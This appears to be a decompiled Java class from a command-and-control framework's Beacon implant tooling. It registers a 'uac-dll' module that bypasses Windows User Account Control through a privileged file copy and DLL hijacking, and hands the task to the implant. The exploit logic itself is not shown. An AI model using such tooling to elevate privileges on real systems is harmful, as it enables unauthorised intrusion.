package beacon.exploits;

import aggressor.AggressorClient;
import aggressor.DataUtils;
import beacon.BeaconExploits;
import beacon.TaskBeacon;

public class BypassUAC implements BeaconExploits.Exploit {
    protected AggressorClient client;

    public BypassUAC(AggressorClient aggressorClient) {
        this.client = aggressorClient;
        DataUtils.getBeaconExploits(aggressorClient.getData()).register("uac-dll", "Bypass UAC via priv'd file copy+DLL hijacking", this);
    }

    public void elevate(String string1, String string2) {
        TaskBeacon taskBeacon = new TaskBeacon(this.client, new String[]{string1});
        taskBeacon.BypassUAC(string2);
    }
}
